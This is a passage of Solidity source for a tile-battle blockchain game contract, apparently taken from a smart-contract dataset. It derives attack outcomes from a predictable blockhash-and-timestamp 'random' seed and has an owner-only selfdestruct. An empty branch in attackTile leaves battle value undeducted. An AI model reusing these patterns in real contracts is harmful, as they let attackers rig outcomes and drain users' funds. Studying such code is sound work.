event TileDefendedSuccessfully(uint16 tileId, address attacker, uint attackAmount, uint totalAttackAmount, address defender, uint defendAmount, uint totalDefendAmount, uint attackRoll, uint defendTime);
event BlockValueMoved(uint16 sourceTileId, uint16 destTileId, address owner, uint movedBlockValue, uint postSourceValue, uint postDestValue, uint moveTime);
event UserBattleValueUpdated(address userAddress, uint battleValue, bool isWithdraw);
constructor(address _bwData) public {
bwData = BWData(_bwData);
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
function setValidBwCaller(address _bw) public isOwner {
bw = _bw;
}
function setValidBwMarketCaller(address _bwMarket) public isOwner {
bwMarket = _bwMarket;
}
function storeInitialClaim(address _msgSender, uint16[] _claimedTileIds, uint _claimAmount, bool _useBattleValue) public isValidCaller {
uint tileCount = _claimedTileIds.length;
require(tileCount > 0);
require(_claimAmount >= 1 finney * tileCount);
require(_claimAmount % tileCount == 0);
uint valuePerBlockInWei = _claimAmount / tileCount;
if (_useBattleValue) {
subUserBattleValue(_msgSender, _claimAmount, false);
}
addGlobalBlockValueBalance(_claimAmount);
uint16 tileId;
bool isNewTile;
for (uint16 i = 0; i < tileCount; i++) {
tileId = _claimedTileIds[i];
isNewTile = bwData.isNewTile(tileId);
require(isNewTile);
emit TileClaimed(tileId, _msgSender, valuePerBlockInWei, block.timestamp);
bwData.storeClaim(tileId, _msgSender, valuePerBlockInWei);
}
}
function fortifyClaims(address _msgSender, uint16[] _claimedTileIds, uint _fortifyAmount, bool _useBattleValue) public isValidCaller {
uint tileCount = _claimedTileIds.length;
require(tileCount > 0);
uint balance = address(this).balance;
require(balance + _fortifyAmount > balance);
require(_fortifyAmount % tileCount == 0);
uint addedValuePerTileInWei = _fortifyAmount / tileCount;
require(_fortifyAmount >= 1 finney * tileCount);
address claimer;
uint blockValue;
for (uint16 i = 0; i < tileCount; i++) {
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_claimedTileIds[i]);
require(claimer != 0);
require(claimer == _msgSender);
if (_useBattleValue) {
subUserBattleValue(_msgSender, addedValuePerTileInWei, false);
}
fortifyClaim(_msgSender, _claimedTileIds[i], addedValuePerTileInWei);
}
}
function fortifyClaim(address _msgSender, uint16 _claimedTileId, uint _fortifyAmount) private {
uint blockValue;
uint sellPrice;
(blockValue, sellPrice) = bwData.getCurrentBlockValueAndSellPriceForTile(_claimedTileId);
uint updatedBlockValue = blockValue + _fortifyAmount;
emit TileFortified(_claimedTileId, _msgSender, _fortifyAmount, updatedBlockValue, block.timestamp);
bwData.updateTileBlockValue(_claimedTileId, updatedBlockValue);
addGlobalBlockValueBalance(_fortifyAmount);
}
function random(uint _upper) private returns (uint) {
seed = uint(keccak256(keccak256(blockhash(block.number), seed), now));
return seed % _upper;
}
function attackTile(address _msgSender, uint16 _tileId, uint _attackAmount, bool _useBattleValue, bool _autoFortify) public isValidCaller {
require(_attackAmount >= 1 finney);
require(_attackAmount % 1 finney == 0);
address claimer;
uint blockValue;
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_tileId);
require(claimer != 0);
require(claimer != _msgSender);
require(claimer != owner);
uint attackBoost;
uint defendBoost;
(attackBoost, defendBoost) = bwData.calculateBattleBoost(_tileId, _msgSender, claimer);
uint totalAttackAmount = _attackAmount + attackBoost;
uint totalDefendAmount = blockValue + defendBoost;
require(totalAttackAmount >= _attackAmount);
require(totalDefendAmount >= blockValue);
require(totalAttackAmount + totalDefendAmount > totalAttackAmount && totalAttackAmount + totalDefendAmount > totalDefendAmount);
require(_attackAmount / 10 <= blockValue);
require(_attackAmount >= blockValue / 10);
uint attackRoll = random(totalAttackAmount + totalDefendAmount);
if (attackRoll > totalDefendAmount) {
emit TileAttackedSuccessfully(_tileId, _msgSender, _attackAmount, totalAttackAmount, claimer, blockValue, totalDefendAmount, attackRoll, block.timestamp);
bwData.setClaimerForTile(_tileId, _msgSender);
if (_useBattleValue) {
if (_autoFortify) {
fortifyClaim(_msgSender, _tileId, _attackAmount);
subUserBattleValue(_msgSender, _attackAmount, false);
} else {
}
} else {
if (_autoFortify) {
fortifyClaim(_msgSender, _tileId, _attackAmount);
} else {
addUserBattleValue(_msgSender, _attackAmount);
}
}
} else {
if (_useBattleValue) {
subUserBattleValue(_msgSender, _attackAmount, false);
}
addUserBattleValue(claimer, _attackAmount);
emit TileDefendedSuccessfully(_tileId, _msgSender, _attackAmount, totalAttackAmount, claimer, blockValue, totalDefendAmount, attackRoll, block.timestamp);
bwData.updateTileTimeStamp(_tileId);
}
}
function moveBlockValue(address _msgSender, uint8 _xSource, uint8 _ySource, uint8 _xDest, uint8 _yDest, uint _moveAmount) public isValidCaller {
uint16 sourceTileId = BWUtility.toTileId(_xSource, _ySource);
uint16 destTileId = BWUtility.toTileId(_xDest, _yDest);
address sourceTileClaimer;
address destTileClaimer;
uint sourceTileBlockValue;
uint destTileBlockValue;
(sourceTileClaimer, sourceTileBlockValue) = bwData.getTileClaimerAndBlockValue(sourceTileId);
(destTileClaimer, destTileBlockValue) = bwData.getTileClaimerAndBlockValue(destTileId);
require(sourceTileClaimer == _msgSender);
require(destTileClaimer == _msgSender);
require(_moveAmount >= 1 finney);
require(_moveAmount % 1 finney == 0);
require(sourceTileBlockValue - _moveAmount < sourceTileBlockValue);
require(destTileBlockValue + _moveAmount > destTileBlockValue);
require(BWUtility.isAdjacent(_xSource, _ySource, _xDest, _yDest));
sourceTileBlockValue -= _moveAmount;
destTileBlockValue += _moveAmount;
if (sourceTileBlockValue == 0) {
bwData.deleteTile(sourceTileId);
} else {
bwData.updateTileBlockValue(sourceTileId, sourceTileBlockValue);
bwData.deleteOffer(sourceTileId);
}
bwData.updateTileBlockValue(destTileId, destTileBlockValue);
bwData.deleteOffer(destTileId);
emit BlockValueMoved(sourceTileId, destTileId, _msgSender, _moveAmount, sourceTileBlockValue, destTileBlockValue, block.timestamp);
}
function withdrawBattleValue(address msgSender, uint _battleValueInWei) public isValidCaller returns (uint) {
require(bwData.hasUser(msgSender));
require(_battleValueInWei % 1 finney == 0);
uint fee = _battleValueInWei / WITHDRAW_FEE;
require(_battleValueInWei - fee < _battleValueInWei);
uint amountToWithdraw = _battleValueInWei - fee;
uint feeBalance = bwData.getFeeBalance();
require(feeBalance + fee >= feeBalance);
feeBalance += fee;
bwData.setFeeBalance(feeBalance);
subUserBattleValue(msgSender, _battleValueInWei, true);
return amountToWithdraw;
}
function addUserBattleValue(address _userId, uint _amount) public isValidCaller {
uint userBattleValue = bwData.getUserBattleValue(_userId);
require(userBattleValue + _amount > userBattleValue);
uint newBattleValue = userBattleValue + _amount;
bwData.setUserBattleValue(_userId, newBattleValue);
emit UserBattleValueUpdated(_userId, newBattleValue, false);
}
function subUserBattleValue(address _userId, uint _amount, bool _isWithdraw) public isValidCaller {
uint userBattleValue = bwData.getUserBattleValue(_userId);
require(_amount <= userBattleValue);
uint newBattleValue = userBattleValue - _amount;
bwData.setUserBattleValue(_userId, newBattleValue);
emit UserBattleValueUpdated(_userId, newBattleValue, _isWithdraw);
}
function addGlobalBlockValueBalance(uint _amount) public isValidCaller {
uint blockValueBalance = bwData.getBlockValueBalance();
require(blockValueBalance + _amount > blockValueBalance);
bwData.setBlockValueBalance(blockValueBalance + _amount);
}
function transferTokens(address _tokenAddress, address _recipient) public isOwner {
ERC20I token = ERC20I(_tokenAddress);
require(token.transfer(_recipient, token.balanceOf(this)));
}
}
| 164,658 | 14,199 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.